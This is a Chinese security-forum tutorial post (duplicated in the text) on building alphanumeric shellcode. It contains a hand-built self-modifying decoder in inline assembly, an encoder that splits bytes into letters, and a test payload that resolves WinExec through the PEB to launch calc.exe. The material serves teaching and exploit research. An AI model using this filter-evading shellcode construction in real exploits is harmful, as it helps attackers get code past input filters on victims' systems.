-
-
[原创] 也学构造字母shellcode
-
2012-5-27 11:45 5086
-
也学构造字母shellcode
感慨一下:Time Flies!转眼间就毕业了。这两天刚接触了exploit漏洞利用。需要编写自己的shellcode,由于是javascript的,对于字符串过滤有Ansi=>Unicode=>Ansi的转换过程。因此,给像我这样的新手增加了很大的难度。于是谷歌和看雪了一下,有几篇文章介绍到。一篇是snowdbg的http://bbs.pediy.com/showthread.php?t=113177,还有一篇是轩辕小聪的http://bbs.pediy.com/showthread.php?t=113227。(顺便膜拜一下轩辕小聪同学,貌似他很热心,搜到过很多他给其他人答疑解惑的帖子)。
对于构造字母shellcode的难点主要有:1,解码部分的opcode和operade必须小于0x80,并且不能含有0 。2,shellcode同样要小于0x80,不能含有0。对于第二个难点,其实算不上。因为将代码映射到字母上去的方法很多,比如前人使用的将shellcode的字节拆分,也就是base16。而对于一个难点,轩辕小聪的文章中指出,alpha2引擎可以做到。
Base16的实现思路很简单,不消说。而alpha2引擎,我没有看。轩辕小聪的文章没有完全看懂吸收。说一下自己在前人的基础上的根据自己的实现思路:加密部分采用的还是base16的字母拆分方法,而解密引擎我是自己实现的。主要是用小于0x80的指令来模拟大于0x80的指令。下面给出解码指令的模拟部分。
1, mov 指令的模拟。可以由push 0xXX(如果是立即数,必须小于0x7f;如果是寄存器,没有限制) 和pop reg。 还可以xor al,byte ptr[reg],xor byte ptr[reg],al表示的是mov byte ptr[reg],al, 而xor byte ptr[reg],al,xor al,byte ptr[reg]表示的是mov al,byte ptr[reg] 。注意这两句的顺序问题。
2, shl指令的模拟。可以由下边的三句话来实现。
xor al,byte ptr[esp]
xor byte ptr[esp],al //等价于mov byte ptr[esp],al
imul eax,dword ptr[esp],16 //左移四位
由于用到了[esp],所以必须通过push 0(push 0还有初始化这个空间的功能)来申请一个空间存放。
3, add 指令的模拟。因为我们知道,intel指令中同一条汇编代码和指令的字节不是一一对应的。通常为了减少指令的字节,eax寄存器的指令会被简化。如下
7C988B56 05 05000000 ADD EAX,5(可以对应别的字节码,具体参看intel指令手册)
7C988B5B 83C3 05 ADD EBX,5
因此,我们要尽量使用eax寄存器来中转其他寄存器的加法操作。接下来的这四句
add eax,0x12345678 //计算保存的地址
sub eax,0x1234563a
add eax,0x12345678
sub eax,0x12345639
是模拟add eax,0xXX的操作。采取两次add ,sub的原因是add eax,0x12345678的立即数0xXXXXXXXX的每个字节必须小于0x80且不能有0,所以add 和sub 执行一次后最多将eax能加到0x7d(0x7f-0x1),假如我们想add eax,0xbf 显然通过一次的add 和sub无法实现。所以,我采取两次的add,sub操作。
4,接下来
push 1
pop ebx
dec ebx //这三句话是为了不出现0,呵呵
dec ebx
xor byte ptr[eax],bl
这四句是用来smc的,修改的代码的地址放在eax当中。Push 0xXX最多压入的是0x7f,而0x7f的最高位是0,所以与要异或的代码字节(要smc修正的代码本身也是小于0x7f的,也就是说它的最高位也是为0)所以最高位异或肯定不可能产生大于0x80的值,而比如我们的要smc的指令jz 0xbf(往前跳)中的0xbf的最高位为1,大于0x80,所以需要上边的五句话来模拟xor [reg],0xXX达到修正代码的目的。
5, jno来模拟jmp跳转
cmp al,0x39 //0x39是加密的shellcode的结束标识符
__emit 0x74
__emit 0x3d //这里要修正,这两句话是模拟jz 0xXXXXXXXX,跳转到shellcode的入口
貌似还有很多细节问题,如果有想研究的自己去发现吧。我应该将它命名为bingle引擎, 呵呵。代码很简单,但是也是我精心构造的,不喜勿喷。
__asm
{
//******************
//初始化寄存器
//******************
push esp
pop edi //保存到的地址
push edi //解密代码的起始地址
pop esi
push 0x61 //解密的字符
pop edx
push 1
pop eax
dec eax
push 1
pop ebx
dec ebx
push 1
pop ecx
dec ecx //保存的是已经完成的字节数
//**************************
//smc,找不到指令来模拟跳转
//**************************
push esp
pop eax //计算跳转地址
add eax,0x12345678 //计算保存的地址
sub eax,0x1234563a
add eax,0x12345678
sub eax,0x12345639
push 1 //为了不出现0
pop ebx
dec ebx
dec ebx
xor byte ptr[eax],bl
inc eax
push eax
pop edi
push edi
pop esi
//*****************
//解密过程
//*****************
push 1
pop eax
dec eax
xor al,byte ptr[esi]
xor byte ptr[esi],al
loopProc:
push 1 //分配堆栈,作为计算imul的缓冲区
cmp al,0x39
__emit 0x74
__emit 0x3d //这里要修正,这两句话是模拟jz 0xXXXXXXXX,跳转到shellcode的入口
xor al,byte ptr[esi] //还原代码,将byte ptr[esi]的值恢复
xor byte ptr[esi],al
sub byte ptr[esi],dl
xor byte ptr[esi],al
xor al,byte ptr[esi]
xor al,byte ptr[esp]
xor byte ptr[esp],al //等价于mov byte ptr[esp],al
imul eax,dword ptr[esp],16 //不用ebx的原因是[ebx]没法使用imul指令byte ptr[ebx],所以必须找个内存地址临时存放一下byte ptr[ebx]
xor eax,dword ptr[esp]
xor dword ptr[esp],eax
inc esi
push 1
pop ebx
dec ebx
sub byte ptr[esi],dl
xor byte ptr[esi],bl
xor bl,byte ptr[esi] //这四句话等价于取出要解密的字节的低四位
add dword ptr[esp],ebx //前边的一大串是为了ebx<<4,好难构造呀
push 1
pop eax
dec eax
xor dword ptr[esp],eax
xor eax,dword ptr[esp]
xor al,byte ptr[edi]
xor byte ptr[edi],al //前边是解析一个指令,将两个字节合并为一个字节
inc edi
inc esi
xor byte ptr[esi],al //为了比较
xor al,byte ptr[esi]
pop ebx
__emit 0x71
__emit 0x42 //这里都要修正,这句话是跳转的
}
还有几个点,就是smc中跳转的偏移的计算。我是手动的根据od来看代码,计算器计算出来的。比如下边的
__emit 0x71
__emit 0x42
这句指令时jno 0xXX,往前跳的指令0xXX是由0xff xor 0x42计算出来的。同样的执行完解密代码,跳到解密后的shellcode执行的部分也是这么计算出来的。
差不多应该说的都说的,全盘和出了。代码很少,但是也要精心构造。从了解要小于0x80的限制到最后弄好,花了两三天。要毕业了,算是毕业献礼。测试的shellcode
最后来个对话,
附上测试的shellcode,测试的时候注意可读写执行节属性的修改。
#pragma code_seg("bingle")
#pragma comment(linker,"/section:bingle,rwe")
#pragma code_seg()
__asm
{
push ebp
mov ebp,esp
sub esp,0x30
mov edi,esp
mov ecx,0x30
xor eax,eax
rep stosb
}
//[ebp-4]存放Kernel32的基地址
//[ebp-8]存放的是WinExec的名称的地址
//[ebp-0xc]存放的是WinExec的函数的地址
//[ebp-0x10]存放的是ExitProcess的名称的地址
//[ebp-0x14]存放的是ExitProcess的函数的地址
//[ebp-0x18]存放的是函数名称的缓冲区
//[ebp-0x1c]存放的是函数名称长度的缓冲区
//[ebp-0x20]存放已经查找到的函数的数量
//[ebp-0x24]存放的是calc.exe的路径
__asm
{
GetKernel32Base: //获得Kernel32的基地址
mov eax,fs:[0x30]
mov eax,[eax+0xc]
mov eax,[eax + 0x1c]
mov eax,[eax]
//mov eax,[eax] //win7系统和xp系统不同的地方
mov eax,[eax + 8]
mov [ebp-0x4],eax
cmp dword ptr[ebp-0x4],0
jz __End
}
//************************************
//接下来是获取函数的地址
//************************************
__asm
{
GetFuncNameAddr:
call GetCreateProcessA_Name
__emit 'W'
__emit 'i'
__emit 'n'
__emit 'E'
__emit 'x'
__emit 'e'
__emit 'c'
__emit '\0'
GetCreateProcessA_Name:
pop eax
mov [ebp-8],eax
call GetExitProcess_Name
__emit 'E'
__emit 'x'
__emit 'i'
__emit 't'
__emit 'P'
__emit 'r'
__emit 'o'
__emit 'c'
__emit 'e'
__emit 's'
__emit 's'
__emit '\0'
GetExitProcess_Name:
pop eax
mov [ebp-0x10],eax
}
__asm
{
GetFuncAddr:
mov esi,[ebp-4]
add esi,[esi+0x3c]
mov esi,[esi+0x78]
add esi,[ebp-4] //获取了ExportTable的地址
mov ebx,[esi+0x20]
add ebx,[ebp-4] //AddressOfName
xor edx,edx
mov eax,[ebp-8] //获得CreateProcessA的名称的地址
mov [ebp-0x18],eax
mov [ebp-0x1c],7 //存放函数长度
repeatFindName:
push esi
mov edi,[ebx]
add edi,[ebp-4] //获得api函数名的地址
mov esi,[ebp-0x18] //获得我们要查找的函数的名称的地址
mov ecx,[ebp-0x1c]
repz cmpsb
pop esi
jz FindAddr //如果相等,那么跳转继续查找函数地址
add ebx,4
inc edx
cmp edx,[esi + 0x18] //判断有没有超过NumberOfNames,这里老是出错,怎么回事
jnz repeatFindName
jmp __End //没有找到,直接结束
FindAddr:
sub ebx,[esi+0x20]
sub ebx,[ebp-4]
shr ebx,1 //获得序号
add ebx,[esi + 0x24]
add ebx,[ebp-4]
movzx eax,word ptr[ebx]
shl eax,2 //乘
add eax,[esi+0x1c]
add eax,[ebp-4]
mov eax,[eax]
add eax,[ebp-4]
inc [ebp-0x20]
cmp [ebp-0x20],1 //序号比较
jz Store1
cmp [ebp-0x20],2 //序号比较
jz Store2
jmp __End
Store1:
mov [ebp-0xc],eax
push eax
mov eax,[ebp-0x10]
mov [ebp -0x18],eax
mov [ebp-0x1c],11
pop eax
mov ebx,[esi + 0x20] //AddressOfNames,初始化一下ebx
add ebx,[ebp-4]
xor edx,edx
jmp repeatFindName
Store2:
mov [ebp-0x14],eax
}
//*******************************************
//接下来是调用WinExec来弹出计算器来了
//*******************************************
__asm
{
call GetCalcPath_Name
__emit 'C'
__emit ':'
__emit 0x5c
__emit 0x5c
__emit 'W'
__emit 'i'
__emit 'n'
__emit 'd'
__emit 'o'
__emit 'w'
__emit 's'
__emit 0x5c
__emit 0x5c
__emit 'S'
__emit 'y'
__emit 's'
__emit 't'
__emit 'e'
__emit 'm'
__emit '3'
__emit '2'
__emit 0x5c
__emit 0x5c
__emit 'c'
__emit 'a'
__emit 'l'
__emit 'c'
__emit '.'
__emit 'e'
__emit 'x'
__emit 'e'
__emit '\0'
GetCalcPath_Name:
pop eax
mov [ebp-0x24],eax
push 1
push [ebp-0x24]
call [ebp-0xc]
}
__asm
{
__End:
xor eax,eax
push eax
call [ebp-0x14]
mov esp,ebp
pop ebp
xor eax,eax
ret
}
加密部分:
unsigned char szShellcode[] = "\x55\x8B\xEC\x83\xEC\x30\x8B\xFC\xB9\x30\x00\x00\x00\x33\xC0\xF3\xAA\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x1C\x8B\x00\x8B\x40\x08\x89\x45\xFC\x83\x7D\xFC\x00\x0F\x84\xDD\x00\x00\x00\xE8\x08\x00\x00\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x58\x89\x45\xF8\xE8\x0C\x00\x00\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x58\x89\x45\xF0\x8B\x75\xFC\x03\x76\x3C\x8B\x76\x78\x03\x75\xFC\x8B\x5E\x20\x03\x5D\xFC\x33\xD2\x8B\x45\xF8\x89\x45\xE8\xC6\x45\xE4\x07\x56\x8B\x3B\x03\x7D\xFC\x8B\x75\xE8\x8B\x4D\xE4\xF3\xA6\x5E\x74\x0B\x83\xC3\x04\x42\x3B\x56\x18\x75\xE6\xEB\x7D\x2B\x5E\x20\x2B\x5D\xFC\xD1\xEB\x03\x5E\x24\x03\x5D\xFC\x0F\xB7\x03\xC1\xE0\x02\x03\x46\x1C\x03\x45\xFC\x8B\x00\x03\x45\xFC\xFE\x45\xE0\x80\x7D\xE0\x01\x74\x08\x80\x7D\xE0\x02\x74\x1B\xEB\x4D\x89\x45\xF4\x50\x8B\x45\xF0\x89\x45\xE8\xC6\x45\xE4\x0B\x58\x8B\x5E\x20\x03\x5D\xFC\x33\xD2\xEB\x9B\x89\x45\xEC\xE8\x20\x00\x00\x00\x43\x3A\x5C\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65\x00\x58\x89\x45\xDC\x6A\x01\xFF\x75\xDC\xFF\x55\xF4\x33\xC0\x50\xFF\x55\xEC\x8B\xE5\x5D\x33\xC0\xC3";
char *szBuf = new char[0x400];
for(int i=0;i<= 284;i++)
{
szBuf[i*2] = (szShellcode[i])>>4;
szBuf[i*2] += 0x61;
szBuf[i*2+1] = (szShellcode[i])&0xf;
szBuf[i*2+1] += 0x61;
}
字母shellcode
感慨一下:Time Flies!转眼间就毕业了。这两天刚接触了exploit漏洞利用。需要编写自己的shellcode,由于是javascript的,对于字符串过滤有Ansi=>Unicode=>Ansi的转换过程。因此,给像我这样的新手增加了很大的难度。于是谷歌和看雪了一下,有几篇文章介绍到。一篇是snowdbg的http://bbs.pediy.com/showthread.php?t=113177,还有一篇是轩辕小聪的http://bbs.pediy.com/showthread.php?t=113227。(顺便膜拜一下轩辕小聪同学,貌似他很热心,搜到过很多他给其他人答疑解惑的帖子)。
对于构造字母shellcode的难点主要有:1,解码部分的opcode和operade必须小于0x80,并且不能含有0 。2,shellcode同样要小于0x80,不能含有0。对于第二个难点,其实算不上。因为将代码映射到字母上去的方法很多,比如前人使用的将shellcode的字节拆分,也就是base16。而对于一个难点,轩辕小聪的文章中指出,alpha2引擎可以做到。
Base16的实现思路很简单,不消说。而alpha2引擎,我没有看。轩辕小聪的文章没有完全看懂吸收。说一下自己在前人的基础上的根据自己的实现思路:加密部分采用的还是base16的字母拆分方法,而解密引擎我是自己实现的。主要是用小于0x80的指令来模拟大于0x80的指令。下面给出解码指令的模拟部分。
1, mov 指令的模拟。可以由push 0xXX(如果是立即数,必须小于0x7f;如果是寄存器,没有限制) 和pop reg。 还可以xor al,byte ptr[reg],xor byte ptr[reg],al表示的是mov byte ptr[reg],al, 而xor byte ptr[reg],al,xor al,byte ptr[reg]表示的是mov al,byte ptr[reg] 。注意这两句的顺序问题。
2, shl指令的模拟。可以由下边的三句话来实现。
xor al,byte ptr[esp]
xor byte ptr[esp],al //等价于mov byte ptr[esp],al
imul eax,dword ptr[esp],16 //左移四位
由于用到了[esp],所以必须通过push 0(push 0还有初始化这个空间的功能)来申请一个空间存放。
3, add 指令的模拟。因为我们知道,intel指令中同一条汇编代码和指令的字节不是一一对应的。通常为了减少指令的字节,eax寄存器的指令会被简化。如下
7C988B56 05 05000000 ADD EAX,5(可以对应别的字节码,具体参看intel指令手册)
7C988B5B 83C3 05 ADD EBX,5
因此,我们要尽量使用eax寄存器来中转其他寄存器的加法操作。接下来的这四句
add eax,0x12345678 //计算保存的地址
sub eax,0x1234563a
add eax,0x12345678
sub eax,0x12345639
是模拟add eax,0xXX的操作。采取两次add ,sub的原因是add eax,0x12345678的立即数0xXXXXXXXX的每个字节必须小于0x80且不能有0,所以add 和sub 执行一次后最多将eax能加到0x7d(0x7f-0x1),假如我们想add eax,0xbf 显然通过一次的add 和sub无法实现。所以,我采取两次的add,sub操作。
4,接下来
push 1
pop ebx
dec ebx //这三句话是为了不出现0,呵呵
dec ebx
xor byte ptr[eax],bl
这四句是用来smc的,修改的代码的地址放在eax当中。Push 0xXX最多压入的是0x7f,而0x7f的最高位是0,所以与要异或的代码字节(要smc修正的代码本身也是小于0x7f的,也就是说它的最高位也是为0)所以最高位异或肯定不可能产生大于0x80的值,而比如我们的要smc的指令jz 0xbf(往前跳)中的0xbf的最高位为1,大于0x80,所以需要上边的五句话来模拟xor [reg],0xXX达到修正代码的目的。
5, jno来模拟jmp跳转
cmp al,0x39 //0x39是加密的shellcode的结束标识符
__emit 0x74
__emit 0x3d //这里要修正,这两句话是模拟jz 0xXXXXXXXX,跳转到shellcode的入口
貌似还有很多细节问题,如果有想研究的自己去发现吧。我应该将它命名为bingle引擎, 呵呵。代码很简单,但是也是我精心构造的,不喜勿喷。
__asm
{
//******************
//初始化寄存器
//******************
push esp
pop edi //保存到的地址
push edi //解密代码的起始地址
pop esi
push 0x61 //解密的字符
pop edx
push 1
pop eax
dec eax
push 1
pop ebx
dec ebx
push 1
pop ecx
dec ecx //保存的是已经完成的字节数
//**************************
//smc,找不到指令来模拟跳转
//**************************
push esp
pop eax //计算跳转地址
add eax,0x12345678 //计算保存的地址
sub eax,0x1234563a
add eax,0x12345678
sub eax,0x12345639
push 1 //为了不出现0
pop ebx
dec ebx
dec ebx
xor byte ptr[eax],bl
inc eax
push eax
pop edi
push edi
pop esi
//*****************
//解密过程
//*****************
push 1
pop eax
dec eax
xor al,byte ptr[esi]
xor byte ptr[esi],al
loopProc:
push 1 //分配堆栈,作为计算imul的缓冲区
cmp al,0x39
__emit 0x74
__emit 0x3d //这里要修正,这两句话是模拟jz 0xXXXXXXXX,跳转到shellcode的入口
xor al,byte ptr[esi] //还原代码,将byte ptr[esi]的值恢复
xor byte ptr[esi],al
sub byte ptr[esi],dl
xor byte ptr[esi],al
xor al,byte ptr[esi]
xor al,byte ptr[esp]
xor byte ptr[esp],al //等价于mov byte ptr[esp],al
imul eax,dword ptr[esp],16 //不用ebx的原因是[ebx]没法使用imul指令byte ptr[ebx],所以必须找个内存地址临时存放一下byte ptr[ebx]
xor eax,dword ptr[esp]
xor dword ptr[esp],eax
inc esi
push 1
pop ebx
dec ebx
sub byte ptr[esi],dl
xor byte ptr[esi],bl
xor bl,byte ptr[esi] //这四句话等价于取出要解密的字节的低四位
add dword ptr[esp],ebx //前边的一大串是为了ebx<<4,好难构造呀
push 1
pop eax
dec eax
xor dword ptr[esp],eax
xor eax,dword ptr[esp]
xor al,byte ptr[edi]
xor byte ptr[edi],al //前边是解析一个指令,将两个字节合并为一个字节
inc edi
inc esi
xor byte ptr[esi],al //为了比较
xor al,byte ptr[esi]
pop ebx
__emit 0x71
__emit 0x42 //这里都要修正,这句话是跳转的
}
还有几个点,就是smc中跳转的偏移的计算。我是手动的根据od来看代码,计算器计算出来的。比如下边的
__emit 0x71
__emit 0x42
这句指令时jno 0xXX,往前跳的指令0xXX是由0xff xor 0x42计算出来的。同样的执行完解密代码,跳到解密后的shellcode执行的部分也是这么计算出来的。
差不多应该说的都说的,全盘和出了。代码很少,但是也要精心构造。从了解要小于0x80的限制到最后弄好,花了两三天。要毕业了,算是毕业献礼。测试的shellcode
最后来个对话,
附上测试的shellcode,测试的时候注意可读写执行节属性的修改。
#pragma code_seg("bingle")
#pragma comment(linker,"/section:bingle,rwe")
#pragma code_seg()
__asm
{
push ebp
mov ebp,esp
sub esp,0x30
mov edi,esp
mov ecx,0x30
xor eax,eax
rep stosb
}
//[ebp-4]存放Kernel32的基地址
//[ebp-8]存放的是WinExec的名称的地址
//[ebp-0xc]存放的是WinExec的函数的地址
//[ebp-0x10]存放的是ExitProcess的名称的地址
//[ebp-0x14]存放的是ExitProcess的函数的地址
//[ebp-0x18]存放的是函数名称的缓冲区
//[ebp-0x1c]存放的是函数名称长度的缓冲区
//[ebp-0x20]存放已经查找到的函数的数量
//[ebp-0x24]存放的是calc.exe的路径
__asm
{
GetKernel32Base: //获得Kernel32的基地址
mov eax,fs:[0x30]
mov eax,[eax+0xc]
mov eax,[eax + 0x1c]
mov eax,[eax]
//mov eax,[eax] //win7系统和xp系统不同的地方
mov eax,[eax + 8]
mov [ebp-0x4],eax
cmp dword ptr[ebp-0x4],0
jz __End
}
//************************************
//接下来是获取函数的地址
//************************************
__asm
{
GetFuncNameAddr:
call GetCreateProcessA_Name
__emit 'W'
__emit 'i'
__emit 'n'
__emit 'E'
__emit 'x'
__emit 'e'
__emit 'c'
__emit '\0'
GetCreateProcessA_Name:
pop eax
mov [ebp-8],eax
call GetExitProcess_Name
__emit 'E'
__emit 'x'
__emit 'i'
__emit 't'
__emit 'P'
__emit 'r'
__emit 'o'
__emit 'c'
__emit 'e'
__emit 's'
__emit 's'
__emit '\0'
GetExitProcess_Name:
pop eax
mov [ebp-0x10],eax
}
__asm
{
GetFuncAddr:
mov esi,[ebp-4]
add esi,[esi+0x3c]
mov esi,[esi+0x78]
add esi,[ebp-4] //获取了ExportTable的地址
mov ebx,[esi+0x20]
add ebx,[ebp-4] //AddressOfName
xor edx,edx
mov eax,[ebp-8] //获得CreateProcessA的名称的地址
mov [ebp-0x18],eax
mov [ebp-0x1c],7 //存放函数长度
repeatFindName:
push esi
mov edi,[ebx]
add edi,[ebp-4] //获得api函数名的地址
mov esi,[ebp-0x18] //获得我们要查找的函数的名称的地址
mov ecx,[ebp-0x1c]
repz cmpsb
pop esi
jz FindAddr //如果相等,那么跳转继续查找函数地址
add ebx,4
inc edx
cmp edx,[esi + 0x18] //判断有没有超过NumberOfNames,这里老是出错,怎么回事
jnz repeatFindName
jmp __End //没有找到,直接结束
FindAddr:
sub ebx,[esi+0x20]
sub ebx,[ebp-4]
shr ebx,1 //获得序号
add ebx,[esi + 0x24]
add ebx,[ebp-4]
movzx eax,word ptr[ebx]
shl eax,2 //乘
add eax,[esi+0x1c]
add eax,[ebp-4]
mov eax,[eax]
add eax,[ebp-4]
inc [ebp-0x20]
cmp [ebp-0x20],1 //序号比较
jz Store1
cmp [ebp-0x20],2 //序号比较
jz Store2
jmp __End
Store1:
mov [ebp-0xc],eax
push eax
mov eax,[ebp-0x10]
mov [ebp -0x18],eax
mov [ebp-0x1c],11
pop eax
mov ebx,[esi + 0x20] //AddressOfNames,初始化一下ebx
add ebx,[ebp-4]
xor edx,edx
jmp repeatFindName
Store2:
mov [ebp-0x14],eax
}
//*******************************************
//接下来是调用WinExec来弹出计算器来了
//*******************************************
__asm
{
call GetCalcPath_Name
__emit 'C'
__emit ':'
__emit 0x5c
__emit 0x5c
__emit 'W'
__emit 'i'
__emit 'n'
__emit 'd'
__emit 'o'
__emit 'w'
__emit 's'
__emit 0x5c
__emit 0x5c
__emit 'S'
__emit 'y'
__emit 's'
__emit 't'
__emit 'e'
__emit 'm'
__emit '3'
__emit '2'
__emit 0x5c
__emit 0x5c
__emit 'c'
__emit 'a'
__emit 'l'
__emit 'c'
__emit '.'
__emit 'e'
__emit 'x'
__emit 'e'
__emit '\0'
GetCalcPath_Name:
pop eax
mov [ebp-0x24],eax
push 1
push [ebp-0x24]
call [ebp-0xc]
}
__asm
{
__End:
xor eax,eax
push eax
call [ebp-0x14]
mov esp,ebp
pop ebp
xor eax,eax
ret
}
加密部分:
unsigned char szShellcode[] = "\x55\x8B\xEC\x83\xEC\x30\x8B\xFC\xB9\x30\x00\x00\x00\x33\xC0\xF3\xAA\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x1C\x8B\x00\x8B\x40\x08\x89\x45\xFC\x83\x7D\xFC\x00\x0F\x84\xDD\x00\x00\x00\xE8\x08\x00\x00\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x58\x89\x45\xF8\xE8\x0C\x00\x00\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x58\x89\x45\xF0\x8B\x75\xFC\x03\x76\x3C\x8B\x76\x78\x03\x75\xFC\x8B\x5E\x20\x03\x5D\xFC\x33\xD2\x8B\x45\xF8\x89\x45\xE8\xC6\x45\xE4\x07\x56\x8B\x3B\x03\x7D\xFC\x8B\x75\xE8\x8B\x4D\xE4\xF3\xA6\x5E\x74\x0B\x83\xC3\x04\x42\x3B\x56\x18\x75\xE6\xEB\x7D\x2B\x5E\x20\x2B\x5D\xFC\xD1\xEB\x03\x5E\x24\x03\x5D\xFC\x0F\xB7\x03\xC1\xE0\x02\x03\x46\x1C\x03\x45\xFC\x8B\x00\x03\x45\xFC\xFE\x45\xE0\x80\x7D\xE0\x01\x74\x08\x80\x7D\xE0\x02\x74\x1B\xEB\x4D\x89\x45\xF4\x50\x8B\x45\xF0\x89\x45\xE8\xC6\x45\xE4\x0B\x58\x8B\x5E\x20\x03\x5D\xFC\x33\xD2\xEB\x9B\x89\x45\xEC\xE8\x20\x00\x00\x00\x43\x3A\x5C\x5C\x57\x69\x6E\x64\x6F\x77\x73\x5C\x5C\x53\x79\x73\x74\x65\x6D\x33\x32\x5C\x5C\x63\x61\x6C\x63\x2E\x65\x78\x65\x00\x58\x89\x45\xDC\x6A\x01\xFF\x75\xDC\xFF\x55\xF4\x33\xC0\x50\xFF\x55\xEC\x8B\xE5\x5D\x33\xC0\xC3";
char *szBuf = new char[0x400];
for(int i=0;i<= 284;i++)
{
szBuf[i*2] = (szShellcode[i])>>4;
szBuf[i*2] += 0x61;
szBuf[i*2+1] = (szShellcode[i])&0xf;
szBuf[i*2+1] += 0x61;
}
字母shellcode
赞赏
他的文章
[原创]unity的et热更新分析和补丁
1975
whatsapp的越狱特征检测
7539
[原创] lua脚本还原
6161
[原创]实战某信外挂插件之字符串还原
8816
[原创]cocos2d游戏的lua脚本解密
15111
谁下载
onlyu
zxc
qing1010
cater
无聊的菜鸟
flyfancy
peaceclub
alan113
拍拖
执着我一生
woyaozhuce
夜凉如水
zhupf
黑暗次序
斩天
wangkaicj
YwdxY
powder
lingyu
EricAzhe
heihu
delphis
风间仁
lionben
codez
网络游侠
yeduwuren
sjj
晓欣
tenderelf
飞天蓝羊
irp
taoyunge
ethel
kunkun
Sacredfy
phperl
liheying
blackwhite
jasonnbfan
walkier
康哥
coolwxd
冰雪风谷
franklinwu
方向感
hksoobe
promsied
yingyue
jxpjs
zenix
heiyelang
老潇
心比
疯子
hawkish
CHYX
大傻哥
xwysj
Diabloking
Jambalaya
七号
bakurise
boywhp
bonze
tfzxyinhao
bandithh
jesterjy
章鱼
三寸法师
anker
adwardwang
chaehom
lxzl
魔兽派
lzqdkx
michaelyao
kman
guobing
HelloCrack
未签收
crazytaf
leeone
linxinsnow
weish
syhpe
qiugaoqil
jgaoabc
wufenjack
雪一二
stardesert
iamrealtom
rtyuy
kangcin
wuaiwu
残梦飘雪
lastseason
xiaojinge
lizichuan
谁下载
onlyu
qing1010
cater
无聊的菜鸟
flyfancy
peaceclub
alan113
拍拖
执着我一生
woyaozhuce
夜凉如水
zhupf
黑暗次序
斩天
wangkaicj
YwdxY
powder
lingyu
EricAzhe
heihu
delphis
风间仁
lionben
codez
网络游侠
sjj
晓欣
tenderelf
飞天蓝羊
irp
taoyunge
ethel
kunkun
Sacredfy
phperl
liheying
blackwhite
jasonnbfan
walkier
康哥
coolwxd
冰雪风谷
franklinwu
方向感
hksoobe
promsied
yingyue
jxpjs
zenix
heiyelang
老潇
心比
疯子
hawkish
CHYX
大傻哥
xwysj
Jambalaya
七号
bakurise
boywhp
bonze
tfzxyinhao
bandithh
jesterjy
章鱼
三寸法师
anker
adwardwang
chaehom
lxzl
魔兽派
lzqdkx
michaelyao
kman
guobing
HelloCrack
crazytaf
leeone
linxinsnow
weish
syhpe
qiugaoqil
jgaoabc
wufenjack
雪一二
stardesert
iamrealtom
rtyuy
kangcin
wuaiwu
残梦飘雪
lastseason
xiaojinge
lizichuan
vbsvbs
edongxu
DuoLaMMeng
哈哈天下
看原图